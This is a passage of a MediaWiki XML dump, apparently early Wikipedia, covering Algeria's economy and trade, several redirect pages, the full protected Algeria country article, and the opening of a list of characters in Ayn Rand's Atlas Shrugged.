Algeria is rich in minerals; the country has many [[iron]], [[lead]] and [[zinc]], [[copper]], [[calamine]], [[antimony]] and [[Mercury (element)|mercury]] mines.  The most productive are those of iron and zinc.  Lignite is found in Algiers; immense [[phosphate]] beds were discovered near [[Tebessa]] in 1891, yielding 313,500 tons in 1905.  Phosphate beds are also worked near [[Setif]], [[Guelma]] and [[Ain Beida]].  There are more than 300 quarries which produce, amongst other stones, [[onyx]] and beautiful white and red [[marble]]s.  Algerian onyx from Ain Tekbalet was used by the Romans, and many ancient quarries have been found near [[Kleber]], some being certainly those from which the long-lost Numidian marbles were taken.  [[Salt]] is collected on the margins of the chotts.

==Foreign trade==

Under French administration the commerce of Algeria developed greatly: the total imports and exports at the time of the French occupation (1830) did not exceed £ 175,000.  In 1850 the figures had reached £ 5,000,000; in 1868, £ 12,000,000; in 1880, £ 17,000,000; and in 1890, £ 20,000,000.  From this point progress was slower and the figures varied considerably year by year.  In 1905 the total value of the foreign trade was £ 24,500,000.  About five-sixths of the trade is with or via France, into which country several Algerian goods have been admitted duty-free since 1851, and all since 1867.  French goods, except [[sugar]], have been admitted into Algeria without payment of duty since 1835.  After the increase, in 1892, of the French minimum tariff, which applied to Algeria also, foreign trade greatly diminished. 

By far Algeria's most significant exports, financially, are [[petroleum]] and [[natural gas]].  The reserves are mostly in the Eastern [[Sahara]]; the Algerian government curbed the exports in the 1980s to slow depletion; exports increased again somewhat in the [[1990|1990s]].  Other significant exports are [[domestic sheep|sheep]], [[ox]]en, and [[horse]]s; animal products, such as [[wool]] and skins; [[wine]], cereals ([[rye]], [[barley]], [[oat]]s), [[vegetable]]s, [[fruit]]s (chiefly [[fig]]s and [[grape]]s for the table) and [[seed]]s, [[esparto]] grass, oils and vegetable extracts (chiefly [[olive oil]]), [[iron]] ore, [[zinc]], natural [[phosphate]]s, [[timber]], [[Cork (material)|cork]], [[crin vegetal]] and [[tobacco]].  The import of [[wool]] exceeds the export.  [[Sugar]], [[coffee]], machinery, metal work of all kinds, clothing and pottery are largely imported.  Of these by far the greater part comes from France.  The [[United Kingdom|British]] imports consist chiefly of [[coal]], cotton fabrics and machinery.

===Exports===

Algeria trades most extensively with France and [[Italy]], in terms of both imports and exports, but also trades with the United States and [[Spain]].

===Statistics===

==Reference==

*[http://www.cia.gov/cia/publications/factbook/geos/ag.html CIA World Factbook]

:''See also :'' [[Algeria]]

{{OPEC}}

[[Category:Organization of the Petroleum Exporting Countries|Alegeria]]
[[Category:Economies by country|Algeria]]
[[Category:Economy of Algeria| ]]
[[Category:African Union member economies|Algeria]]
[[fr:Économie de l'Algérie]]
[[pt:Economia da Argélia]]
[[ru:Экономика Алжира]]</text>
    </revision>
  </page>
  <page>
    <title>Algeria/Communications</title>
    <id>350</id>
    <revision>
      <id>15899084</id>
      <timestamp>2002-06-16T16:23:09Z</timestamp>
      <contributor>
        <username>Danny</username>
        <id>584</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Communications in Algeria]]</text>
    </revision>
  </page>
  <page>
    <title>Algeria/Transportation</title>
    <id>351</id>
    <revision>
      <id>39213634</id>
      <timestamp>2006-02-11T15:33:09Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Transport in Algeria]]</text>
    </revision>
  </page>
  <page>
    <title>Algeria/Military</title>
    <id>352</id>
    <revision>
      <id>15899086</id>
      <timestamp>2005-03-27T03:27:25Z</timestamp>
      <contributor>
        <username>Srs</username>
        <id>209316</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Military of Algeria]]</text>
    </revision>
  </page>
  <page>
    <title>Algeria/Transnational Issues</title>
    <id>353</id>
    <revision>
      <id>15899087</id>
      <timestamp>2002-06-16T16:27:14Z</timestamp>
      <contributor>
        <username>Danny</username>
        <id>584</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Transnational issues of Algeria]]</text>
    </revision>
  </page>
  <page>
    <title>Algeria/Archaeology</title>
    <id>356</id>
    <revision>
      <id>15899089</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>128.227.230.147</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Archeology of Algeria]]</text>
    </revision>
  </page>
  <page>
    <title>Algeria/History</title>
    <id>357</id>
    <revision>
      <id>15899090</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[History of Algeria]]

:''See also :'' [[Algeria]]</text>
    </revision>
  </page>
  <page>
    <title>Algeria</title>
    <id>358</id>
    <restrictions>edit=sysop:move=sysop</restrictions>
    <revision>
      <id>40426750</id>
      <timestamp>2006-02-20T13:34:27Z</timestamp>
      <contributor>
        <username>Splash</username>
        <id>285145</id>
      </contributor>
      <comment>do not use semi in an editorial dispute, even if one side is anons, per [[WP:SEMI]]</comment>
      <text xml:space="preserve">{{protected}}
{{Infobox_Country|
native_name = الجمهورية الجزائرية الديمقراطية الشعبية&lt;br&gt;Al-Jumhūrīyah al-Jazā’irīyah&lt;br&gt;ad-Dīmuqrāţīyah ash-Sha’bīyah|
common_name = Algeria |
image_flag = Flag of Algeria.svg |
image_coat = Algeria coa.png |
image_map = LocationAlgeria.png |
national_motto = (translation): The Revolution by the people and for the people |
national_anthem = ''[[Kassaman|Kassaman &lt;small&gt;(Qasaman Bin-Nāzilāt Il-Māḥiqāt)]]''&lt;br&gt;(&lt;small&gt;[[Arabic language|Arabic]]: ''[[Kassaman|We Swear By The Lightning That Destroys]]'') |
official_languages = [[Arabic language|Arabic]] |
capital = [[Algiers]] |
latd=36|latm=42|latNS=N|longd=3|longm=13|longEW=E|
largest_city = [[Algiers]] |
government_type= Democratic [[Republic]] |
leader_titles = [[President of Algeria|President]]&lt;br&gt;[[Prime Minister of Algeria|Prime Minister]] |
leader_names = [[Abdelaziz Bouteflika]]&lt;br&gt;[[Ahmed Ouyahia]] |
area_rank = 11th |
area_magnitude = 1 E12 |
area = 2,381,740 |
percent_water = negligible |
population_estimate = 32,531,853 |
population_estimate_year = 2005 |
population_estimate_rank = 36th |
population_census= |
population_census_year= |
population_density = 13 |
population_density_rank= 168th|
GDP_PPP_year= 2004 |
GDP_PPP = $217,224,000,000 |
GDP_PPP_rank = 38th |
GDP_PPP_per_capita = $6,799 |
GDP_PPP_per_capita_rank = 85th |
HDI_year = 2003 |
HDI = 0.722 |
HDI_rank = 103rd |
HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; |
sovereignty_type = [[Independence]]|
established_events = Declared |
established_dates = From [[France]]&lt;br&gt;[[July 5]], [[1962]] |
currency = [[Algerian dinar]] |
currency_code = DA |
time_zone= [[Central European Time|CET]] |
utc_offset= +1 |
time_zone_DST= [[Central European Time|CET]] |
utc_offset_DST= +1 does not observe |
cctld= [[.dz]] |
calling_code = 213 |
footnotes =
}}
The '''People's Democratic Republic of Algeria''' ([[Arabic language|Arabic]]: '''الجمهورية الجزائرية الديمقراطية الشعبية''') , or '''Algeria''' ([[Arabic language|Arabic]]: '''الجزائر'''), is a presidential state in [[north Africa]], and the second largest country on the [[Africa]]n continent, [[Sudan]] being the largest.  It is bordered by [[Tunisia]] in the northeast, [[Libya]] in the east, [[Niger]] in the southeast, [[Mali]] and [[Mauritania]] in the southwest, and [[Morocco]] as well as a few kilometers of its annexed territory, [[Western Sahara]], in the west. [[Constitution of Algeria|Constitutionally]], it is defined as  an [[Islam]]ic, [[Arab]], and [[Amazigh]] (Berber) country.  The name Algeria is derived from the name of the city of [[Algiers]], from the [[Arabic language|Arabic]] word ''al-jazā’ir'', which translates as ''the islands'', referring to the four islands which lay off that city's coast until becoming part of the mainland in 1525.



==History==
{{main|History of Algeria}}

Algeria has been inhabited by [[Berber]]s (or Amazigh) since at least [[10,000 BC]].  From [[1000 BC]] on, the [[Carthage|Carthaginians]] became an influence on them, establishing settlements along the coast. Berber kingdoms began to emerge, most notably [[Numidia]], and seized the opportunity offered by the Punic Wars to become independent of Carthage, only to be taken over soon after by the [[Roman Republic]] in 200 BC.  As the western [[Roman Empire]] collapsed, the Berbers became independent again in much of the area, while the [[Vandals]] took over parts until later expelled by the generals of the [[Byzantine Emperor]], [[Justinian I]].  The [[Byzantine Empire]] then retained a precarious grip on the east of the country until the coming of the [[Arab]]s in the [[8th century]].

[[Image:Roman Arch of Trajan at Thamugadi (Timgad), Algeria 04966r.jpg|thumb|left|Roman arch of Trajan at Thamugadi (Timgad), Algeria]]
After some decades of fierce resistance under leaders such as [[Kusayla]] and [[Kahina]], the Berbers adopted [[Islam]] ''en masse'', but almost immediately expelled the [[Caliphate]] from Algeria, establishing an [[Ibadi]] state under the [[Rustamid]]s.  Having converted the [[Kutama]] of [[Kabylie]] to its cause, the [[Shia]] [[Fatimid]]s overthrew the Rustamids, and conquered Egypt.  They left Algeria and Tunisia to their [[Zirid]] vassals; when the latter rebelled and adopted [[Sunni]]sm, they sent in a populous [[Arab]] tribe, the [[Banu Hilal]], to weaken them, thus incidentally initiating the [[Arabization]] of the countryside.  The [[Almoravid]]s and [[Almohad]]s, Berber dynasties from the west founded by religious reformers, brought a period of relative peace and development; however, with the Almohads' collapse, Algeria became a battleground for their three [[successor state]]s, the Algerian [[Zayyanid]]s, Tunisian [[Hafsid]]s, and Moroccan [[Merinid]]s.  In the fifteenth and sixteenth centuries, [[Spain]] started attacking and taking over many coastal cities, prompting some to seek help from the [[Ottoman Empire]].

Algeria was brought into the Ottoman Empire by [[Khair ad Din|Khair ad-Din]] and his  brother [[Aruj]], who established Algeria's modern boundaries in the north and made its coast a base for the [[Privateer|corsairs]]; their privateering peaked in Algiers in the 1600s. Piracy on American vessels in the Mediterranean resulted in the [[First Barbary War|First]] and [[Second Barbary War]] with the [[United States]]. On the pretext of a slight to their consul, the [[France|French]] invaded Algiers in 1830; however, intense resistance from such personalities as [[Emir Abdelkader]], [[Ahmed Bey]] and [[Lalla Fatma N'Soumer|Fatma N'Soumer]] made for a slow conquest of Algeria, not technically completed until the early 1900s when the last [[Tuareg]] were conquered.
[[Image:Constantine Algerien 002.jpg|thumb|left|Constantine, Algeria 1840]]

Meanwhile, however, the French suppressed slavery and made Algeria an integral part of France, a status that would end only with the collapse of the [[French Fourth Republic|Fourth Republic]]. Tens of thousands of settlers from France, Italy, Spain, and Malta moved in to farm the Algerian coastal plain and occupy the most prized parts of Algeria's cities, benefiting from the French government's confiscation of communally held land. People of European descent in Algeria (the so-called ''[[pied-noir|pieds-noirs]]''), as well as the native Algerian Jews, were full French citizens starting from the end of the 19th century; by contrast, the vast majority of Muslim Algerians (even veterans of the French army) remained outside of French law, possessing neither French citizenship nor the right to vote. Algeria's social fabric was stretched to breaking point during this period: literacy dropped massively, while land confiscation uprooted much of the population.

In 1954, the [[National Liberation Front (Algeria)|National Liberation Front]] (FLN) launched the [[guerrilla warfare|guerrilla]] [[Algerian War of Independence]]; after nearly a decade of urban and rural warfare, they succeeded in pushing France out in 1962. Most of the 1,025,000 ''[[pied-noir|pieds-noirs]]'', as well as 91,000 ''[[harki]]s'' (pro-French Muslim Algerians serving in the French Army), together forming about 10% of the population of Algeria in 1962, fled Algeria for France in just a few months in the middle of that year.

[[Image:TheBattleofAlgiers.png|thumb|right|''[[The Battle of Algiers]]'' is a movie about the [[Algerian War of Independence]].]]
Algeria's first president, the FLN leader [[Ahmed Ben Bella]], was overthrown by his former ally and defense minister, [[Houari Boumédiènne]] in 1965. Under Ben Bella the government had already become increasingly socialist and dictatorial, and this trend continued throughout Boumedienne's government; however, Boumedienne relied much more heavily on the army, and reduced the sole legal party to a merely symbolic role.  Agriculture was collectivised, and a massive industrialization drive launched.  Oil extraction facilities were nationalized and this increased the state's wealth, especially after the 1973 oil crisis, but the Algerian economy became increasingly dependent on oil, bringing hardship when the price collapsed in the 1980s.  In foreign policy Algeria was a member and leader of the 'non-aligned' nations.  A dispute with Morocco over the [[Western Sahara]] nearly led to war.  Dissent was rarely tolerated, and the state's control over the media and the outlawing of political parties other than the FLN was cemented in the repressive constitution of 1976.  Boumédienne died in 1978, but the rule of his successor, [[Chadli Bendjedid]], was little more open.  The state took on a strongly bureaucratic character and corruption was widespread.

The modernization drive brought considerable demographic changes to Algeria.  Village traditions underwent significant change as urbanization increased, new industries emerged, agriculture was substantially reduced, and education, a rarity in colonial times, was extended nationwide, raising the literacy rate from less than 10% to over 60%.  Improvements in healthcare led to a dramatic increase in the birthrate (7-8 children per mother) which had two consequences: a very youthful population, and a housing crisis.  The new generation struggled to relate to the cultural obsession with the war years and two conflicting protest movements developed: left-wingers, including Berber identity movements, and Islamic 'intégristes'.  Both protested against one-party rule but also clashed with each other in universities and on the streets during the 1980s.  Mass protests from both camps in autumn 1988 forced Benjedid to concede the end of one-party rule, and elections were announced for 1991.

In December 1991, the [[Islamic Salvation Front]] won the [[Algerian National Assembly elections, 1991|first round]] of the country's first multiparty elections. The military then canceled the second round, forced then-president Bendjedid to resign, and banned the Islamic Salvation Front. The ensuing conflict engulfed Algeria in the violent [[Algerian Civil War]].  More than 100,000 people were killed, often in unprovoked massacres of civilians.  The question of who was responsible for these massacres remains controversial among academic observers; many were claimed by the [[Armed Islamic Group]].  After 1998, the war waned, and by 2002 the main guerrilla groups had either been destroyed or surrendered, taking advantage of an amnesty program, though sporadic fighting continued in some areas.  Elections resumed in 1995, and in 1999, after a series of short-term leaders representing the military, [[Abdelaziz Bouteflika]], the current president, was elected. The issue of Berber language and identity increased in significance, particularly after the extensive [[Kabyle]] protests of 2001 and the near-total boycott of local elections in [[Kabylie]]; the government responded with concessions including naming of [[Tamazight]] (Berber) as a national language and teaching it in schools.

==Politics==
{{main|Politics of Algeria}}

The head of state is the [[President of Algeria|President of the republic]], who is elected to a 5-year term, renewable once. Algeria has [[universal suffrage]]. The President is the head of the Council of Ministers and of the High Security Council. He appoints the [[Prime Minister of Algeria|Prime Minister]] who is also the head of government. The Prime Minister appoints the Council of Ministers.

The Algerian [[parliament]] is bicameral, consisting of a lower chamber, the National People's Assembly (APN), with 380 members and an upper chamber, the Council of Nation, with 144 members. The APN is elected every 5 years.

Throughout the 1960's, Algeria supported many independence movements in sub-Saharan Africa, and was a leader in the [[Non-Aligned Movement]]. While it shares much of its history and cultural heritage with neighbouring [[Morocco]], the two countries have had somewhat hostile relations with each other since Algeria's independence. This is due to two reasons: Morocco's [[Greater Morocco|claim to portions of western Algeria]] (which led to the [[Sand war]] in 1963), and Algeria's support for the [[Polisario]], an armed group of [[Sahrawi]] [[refugee]]s seeking [[independence]] for the Moroccan-ruled [[Western Sahara]], which it hosts within its borders in the city of [[Tindouf]]. Tensions between Algeria and Morocco, as well as issues relating to the [[Algerian Civil War]], have put great obstacles in the way of tightening the [[Maghreb Arab Union]], nominally established in 1989 but with little practical weight, with its coastal neighbors.

==Provinces==
{{main|Provinces of Algeria}}

Algeria is divided into 48 ''[[Wilayah|wilayas]]'' ([[provinces]]):-
{|
|-
|
*&lt;small&gt;1&lt;/small&gt; [[Adrar (Algerian province)|Adrar]]
*&lt;small&gt;2&lt;/small&gt; [[Aïn Defla]]
*&lt;small&gt;3&lt;/small&gt; [[Aïn Témouchent]]
*&lt;small&gt;4&lt;/small&gt; [[Algiers|Alger]]
*&lt;small&gt;5&lt;/small&gt; [[Annaba (province)|Annaba]]
*&lt;small&gt;6&lt;/small&gt; [[Batna (province)|Batna]]
*&lt;small&gt;7&lt;/small&gt; [[Béchar]]
*&lt;small&gt;8&lt;/small&gt; [[Béjaïa (province)|Béjaïa]]
*&lt;small&gt;9&lt;/small&gt; [[Biskra (province)|Biskra]]
*&lt;small&gt;10&lt;/small&gt; [[Blida]]
*&lt;small&gt;11&lt;/small&gt; [[Bordj Bou Arréridj (province)|Bordj Bou Arréridj]]
*&lt;small&gt;12&lt;/small&gt; [[Bouira]]
*&lt;small&gt;13&lt;/small&gt; [[Boumerdès]]
*&lt;small&gt;14&lt;/small&gt; [[Chlef]]
*&lt;small&gt;15&lt;/small&gt; [[Constantine, Algeria|Constantine]]
*&lt;small&gt;16&lt;/small&gt; [[Djelfa (province)|Djelfa]]
*&lt;small&gt;17&lt;/small&gt; [[El Bayadh]]
|
*&lt;small&gt;18&lt;/small&gt; [[El Oued (province)|El Oued]]
*&lt;small&gt;19&lt;/small&gt; [[El Tarf]]
*&lt;small&gt;20&lt;/small&gt; [[Ghardaïa]]
*&lt;small&gt;21&lt;/small&gt; [[Guelma]]
*&lt;small&gt;22&lt;/small&gt; [[Illizi]]
*&lt;small&gt;23&lt;/small&gt; [[Jijel]]
*&lt;small&gt;24&lt;/small&gt; [[Khenchela]]
*&lt;small&gt;25&lt;/small&gt; [[Laghouat]]
*&lt;small&gt;26&lt;/small&gt; [[Mila]]
*&lt;small&gt;27&lt;/small&gt; [[Mostaganem (province)|Mostaganem]]
*&lt;small&gt;28&lt;/small&gt; [[Medea]]
*&lt;small&gt;29&lt;/small&gt; [[Muaskar]]
*&lt;small&gt;30&lt;/small&gt; [[M'Sila]]
*&lt;small&gt;31&lt;/small&gt; [[Naama]]
*&lt;small&gt;32&lt;/small&gt; [[Oran]]
*&lt;small&gt;33&lt;/small&gt; [[Ouargla]]
|
*&lt;small&gt;34&lt;/small&gt; [[Oum el-Bouaghi]]
*&lt;small&gt;35&lt;/small&gt; [[Relizane]]
*&lt;small&gt;36&lt;/small&gt; [[Saida (province)|Saida]]
*&lt;small&gt;37&lt;/small&gt; [[Sétif]]
*&lt;small&gt;38&lt;/small&gt; [[Sidi Bel Abbes]]
*&lt;small&gt;39&lt;/small&gt; [[Skikda]]
*&lt;small&gt;40&lt;/small&gt; [[Souk Ahras]]
*&lt;small&gt;41&lt;/small&gt; [[Tamanrasset]]
*&lt;small&gt;42&lt;/small&gt; [[Tébessa]]
*&lt;small&gt;43&lt;/small&gt; [[Tiaret]]
*&lt;small&gt;44&lt;/small&gt; [[Tindouf Province|Tindouf]]
*&lt;small&gt;45&lt;/small&gt; [[Tipaza]]
*&lt;small&gt;46&lt;/small&gt; [[Tissemsilt]]
*&lt;small&gt;47&lt;/small&gt; [[Tizi Ouzou]]
*&lt;small&gt;48&lt;/small&gt; [[Tlemcen]]
|
|[[Image:Algeria provinces.png|right|250px|Map of the provinces of [[Algeria]] in alphabetical order.]]
|}

==Geography==
{{main|Geography of Algeria}}

[[Image:Algeria map.png|220px|right|Map of Algeria with cities]]
[[Image:Hoggar3.jpg|thumb|left|The [[Ahaggar Mountains|Hoggar]] Mountains]]

Most of the coastal area is hilly, sometimes even mountainous, and there are few good harbours. The area just south of the coast, known as the [[Tell]], is fertile. Further south is the [[Atlas mountains|Atlas mountain]] range and the [[Sahara]] desert. [[Algiers]], [[Oran]] and [[Constantine, Algeria|Constantine]] are the main cities.

Algeria's [[climate]] is arid and hot, although the coastal climate is mild, and the winters in the mountainous areas can be severe. Algeria is prone to [[sirocco]], a hot dust- and sand-laden wind especially common in summer.

''See also'': [[Extreme points of Algeria]]

==Economy==
{{main|Economy of Algeria}}

[[Image:Unknown origin coin2.JPG|thumb|left|150px|Algerian coins]]
The fossil fuels energy sector is the backbone of the economy, accounting for roughly 60% of budget revenues, 30% of [[Gross domestic product|GDP]], and over 95% of export earnings. Algeria has the fifth-largest reserves of [[natural gas]] in the world and is the second largest gas exporter; it ranks 14th in [[Petroleum]] reserves.

Algeria’s financial and economic indicators improved during the mid-1990s, in part because of policy reforms supported by the IMF and debt rescheduling from the [[Paris Club]]. Algeria’s finances in 2000 and 2001 benefited from an increase in oil prices and the government’s tight fiscal policy, leading to a large increase in the trade surplus, record highs in foreign exchange reserves, and reduction in foreign debt. The government's continued efforts to diversify the economy by attracting foreign and domestic investment outside the energy sector has had little success in reducing high unemployment and improving living standards. In 2001, the government signed an Association Treaty with the [[European Union]] that will eventually lower tariffs and increase trade.

==Demographics==
[[Image:Algiers coast.jpg|thumb|[[Algiers]] coast]]
{{main|Demographics of Algeria}}

About 90% of Algerians live in the northern, coastal area; the minority who inhabit the [[Sahara desert]] are mainly concentrated in [[oasis|oases]], although some 1.5 million remain [[nomad]]ic or partly nomadic.

Ninety-nine percent of the population is classified ethnically as [[Arab]]/[[Berber]], and religiously as [[Muslim]]; other religions are restricted to extremely small groups, mainly of foreigners. Europeans account for less than 1%.

Most Algerians are Arab by language and identity, and of mixed Berber-Arab ancestry. The Berbers inhabited Algeria before the arrival of Arab tribes during the expansion of Islam, in the 7th century. The issue of ethnicity and language is sensitive after many years of government marginalization of Berber (or [[Amazigh]], as some prefer) culture. Today, the Arab-Berber issue is often a case of self-identification or identification through language and culture, rather than a racial or ethnic distinction. The 20% or so of the population who self-identify as Berbers, and primarily speak Berber languages (such as [[Tamazight]]), are divided into several ethnic groups, notably [[Kabyle]] (the largest) in the mountainous north-central area, [[Chaoui]] in the eastern [[Atlas Mountains]], [[Mozabite]]s in the [[M'zab]] valley, and [[Tuareg]] in the far south.

==Language==
{{main|Languages of Algeria}}

The [[official language]] is [[Arabic language|Arabic]], spoken natively in dialectal form (&quot;[[Algerian Arabic|Darja]]&quot;) by some 80% of the population; the other 20% or so speak [[Berber]] ([[Tamazight]]), officially a [[national language]]. [[French language|French]] is the most widely studied foreign language (distantly followed by [[English language|English]]), but is very rare as a [[native language]]. Since independence, the government has pursued a policy of linguistic [[Arabization]] of education and bureaucracy, with some success, although many university courses continue to be taught in French.

==Culture==
[[Image:Algiers mosque.jpg|thumb|[[Mosque]] in Algiers]]
{{main|Culture of Algeria}}

Modern Algerian literature, split between Arabic and French, has been strongly influenced by the country's recent history.  [[List of Algerian writers|Famous novelists]] of the 20th century include [[Mohammed Dib]] and [[Kateb Yacine]], while [[Assia Djebar]] is widely translated.  Important novelists of the 1980s included [[Rachid Mimouni]], later vice-president of Amnesty International, and [[Tahar Djaout]], murdered by an [[Islamist]] group in 1993 for his secularist views.  As early as Roman times, [[Apuleius]], born in [[Mdaourouch]], was native to what would become Algeria.

In philosophy and the humanities, [[Malek Bennabi]] and [[Frantz Fanon]] are noted for their thoughts on [[decolonization]], while [[Augustine of Hippo]] was born in [[Tagaste]] (about 60 miles from the present day city of [[Annaba]]), and [[Ibn Khaldun]], though born in [[Tunis]], wrote the [[Muqaddima]] while staying in Algeria.

Algerian culture has been strongly influenced by [[Islam in Algeria|Islam]], the main religion.  The works of the [[Sanusi]] family in precolonial times, and of Emir [[Abdelkader]] and Sheikh [[Ben Badis]] in colonial times, are widely noted.

The [[Music of Algeria|Algerian musical]] genre best known abroad is [[raï]], a pop-flavored, opinionated take on folk music, featuring international stars such as [[Khaled (musician)|Khaled]] and [[Cheb Mami]].  However, in Algeria itself the older, highly verbal [[chaabi]] style remains more popular, with such stars as [[El Hadj El Anka]] or [[Dahmane El Harrachi]], while the tuneful melodies of [[Kabyle]] music, exemplified by [[Idir]], [[Ait Menguellet]], or [[Lounès Matoub]], have a wide audience.  For more classical tastes, [[Andalusian classical music|Andalusi music]], brought from [[Al-Andalus]] by [[Morisco]] refugees, is preserved in many older coastal towns.

In painting, [[Mohammed Khadda]] and [[M'hemed Issiakhem]] are notable in recent years.

== Picture gallery ==

&lt;gallery&gt;
Image:Houbel.JPG|''The Monument of the Martyrs Algiers''
Image:Algernuit.jpg|''Algiers by night''
Image:Finace.jpg|''Minister of the finances''
Image:Makam Echehid.jpg|''Algiers view by air''
Image:Benyen.JPG|''the Forest Bainem in Algeria at (Bouzareah)''
Image:Algierssnow.jpg|''Snow on Algiers''
Image:Church Saintcharlesalgiers.jpg|''The church  Saint charles at Algiers''
Image:PE Algerie Sahara 0121.JPG|''Sahara of Algeria''



&lt;/gallery&gt;

== Miscellaneous topics ==
* [[Archeology of Algeria]]
* [[Communications in Algeria]]
* [[Foreign relations of Algeria]]
* [[List of Algeria-related topics]]
* [[List of cities in Algeria]]
* [[List of Algerians]]
* [[List of sovereign states]]
* [[Military of Algeria]]
* [[Transportation in Algeria|Transportation in Algeria]]
* ''[[The Battle of Algiers]]'' movie
* [[Algerian War of Independence]] (1954-1962)
* [[Algerian Civil War]] (1991-2002)

=== Directories ===
*[http://www.pagesjaunes-dz.com/index.php?lang=en Yellow Pages of Algeria]

==External links==
{{portal}}
{{sisterlinks|Algeria}}

'''Government'''
*[http://www.el-mouradia.dz El Mouradia] official presidential site (in French and Arabic)
*[http://www.apn-dz.org/apn/english/index.htm National People's Assembly] official parliamentary site
*[http://www.algeria-us.org/ The Embassy of Algeria in Washington, DC]

'''News'''
*[http://allafrica.com/algeria/ allAfrica.com - ''Algeria''] news headline links
*[http://www.elkhabar.com/FrEn/?idc=52 El Khabar]
*[http://www.north-africa.com/one.htm The North Africa Journal] business news

'''Overviews'''
* [http://www.cia.gov/cia/publications/factbook/geos/ag.html CIA World Factbook - ''Algeria'']
* [http://lcweb2.loc.gov/frd/cs/dztoc.html Library of Congress - Country Study: ''Algeria''] data as of December 1993
* [http://www.exile.ru/2003-February-20/war_nerd.html Algeria: The Psychos Will Inherit the Earth] - an irreverent look at Algeria's military situation

'''Tourism'''
*{{wikitravel}}

'''Other'''
* [http://www.algeria-watch.org/francais.htm Algeria Watch] human rights organization critical of widespread torture practiced by the régime (in French)
* [http://www.opendemocracy.net/globalization-institutions_government/algeria_2874.jsp Algeria’s past needs opening, not closing] Analysis on the public referendum held [[29 September]] [[2005]] by Veerle Opgenhaffen and Hanny Megally 
*[http://algerie.el-annabi.com all City of Algéria]
*[http://www.dicodialna.com Algerian-English Online Dictionary]

{{Africa}}
{{Mediterranean}}


[[Category:African Union member states]]
[[Category:Algeria| ]]
[[Category:Arab League]]
[[Category:Peace and Security Council]]

[[af:Algerië]]
[[am:አልጄሪያ]]
[[an:Alcheria]]
[[ar:الجزائر]]
[[ast:Arxelia]]
[[bn:আলজেরিয়া]]
[[bs:Alžir]]
[[ca:Algèria]]
[[cs:Alžírsko]]
[[cy:Algeria]]
[[da:Algeriet]]
[[de:Algerien]]
[[el:Αλγερία]]
[[eo:Alĝerio]]
[[es:Argelia]]
[[et:Alžeeria]]
[[fa:الجزایر]]
[[fi:Algeria]]
[[fr:Algérie]]
[[gl:Alxeria - الجزائر]]
[[ha:Aljeriya]]
[[haw:ʻAlekelia]]
[[he:אלג'יריה]]
[[hi:अल्जीरिया]]
[[ht:Aljeri]]
[[ia:Algeria]]
[[id:Aljazair]]
[[io:Aljeria]]
[[is:Alsír]]
[[it:Algeria]]
[[ja:アルジェリア]]
[[ko:알제리]]
[[kw:Aljeri]]
[[la:Algeria]]
[[li:Algerieë]]
[[lt:Alžyras]]
[[lv:Alžīrija]]
[[mk:Алжир]]
[[ms:Algeria]]
[[na:Algeria]]
[[nds:Algerien]]
[[nl:Algerije]]
[[nn:Algerie]]
[[no:Algerie]]
[[pl:Algieria]]
[[pt:Argélia]]
[[rm:Algeria]]
[[ro:Algeria]]
[[ru:Алжир]]
[[sa:अल्जीरिया]]
[[scn:Algiria]]
[[simple:Algeria]]
[[sk:Alžírsko]]
[[sl:Alžirija]]
[[so:Aljeeriya]]
[[sq:Algjeria]]
[[sr:Алжир]]
[[sv:Algeriet]]
[[tg:Алҷазоир]]
[[th:ประเทศแอลจีเรีย]]
[[tl:Algeria]]
[[tr:Cezayir]]
[[ur:الجزائر]]
[[wa:Aldjereye]]
[[yi:אַלזשיר]]
[[zh:阿尔及利亚]]
[[zh-min-nan:Algeria]]</text>
    </revision>
  </page>
  <page>
    <title>Characters in Atlas Shrugged</title>
    <id>359</id>
    <revision>
      <id>41302556</id>
      <timestamp>2006-02-26T11:34:49Z</timestamp>
      <contributor>
        <username>Bchampion</username>
        <id>671891</id>
      </contributor>
      <comment>Removed inccorect info about etymology of &quot;mooch&quot; see discussion</comment>
      <text xml:space="preserve">'''Characters in [[Ayn Rand]]'s novel, [[Atlas Shrugged]].'''

{{spoiler}}

==Balph Eubank==
Called &quot;the literary leader of the age&quot;, despite the fact that he is incapable of writing anything that people actually want to read. What people ''want'' to read, he says, is irrelevant. He complains that it is disgraceful that artists are treated as peddlers, and that there should be a law limiting the sales of books to ten thousand copies. He is a member of the ''Looters''. Balph Eubank appears in [[Structure of Atlas Shrugged|section]] 161.
==Ben Nealy==
A railroad contractor whom ''Dagny Taggart'' hires to replace the track on the [[Things in Atlas Shrugged#Rio Norte Line|Rio Norte Line]] with [[Technology in Atlas Shrugged#Rearden Metal|Rearden Metal]]. Nealy is incompetent, but Dagny can find no one better in all the country. Nealy believes that anything can get done with enough muscle power. He sees no role for intelligence in human achievement, and this is manifest in his inability to organize the project and to make decisions. He relies on Dagny and ''Ellis Wyatt'' to run things, and resents them for doing it, because it appears to him like they are just bossing people around. Ben Nealy appears in [[Structure of Atlas Shrugged|section]] 171.

==Bertram Scudder==
Editorial writer for the magazine ''The Future''. He typically bashes business and businessmen, but he never says anything specific in his articles, relying on innuendo, sneers, and denunciation. He wrote a hatchet job on ''Hank Rearden'' called ''The Octopus''. He is also vocal in support of the [[Things in Atlas Shrugged#Equalization of Opportunity Bill|Equalization of Opportunity Bill]]. Bertram Scudder appears in [[Structure of Atlas Shrugged|section]] 161.

==Betty Pope==
A wealthy socialite who is having a meaningless sexual affair with ''James Taggart'' that coincides with the overall meaninglessness of her life. She regrets having to wake up every morning because she has to face another empty day. She is deliberately crude in a way that casts ridicule on her high social position. Betty Pope appears in [[Structure of Atlas Shrugged|sections]] 142 and 161.
==Brakeman==
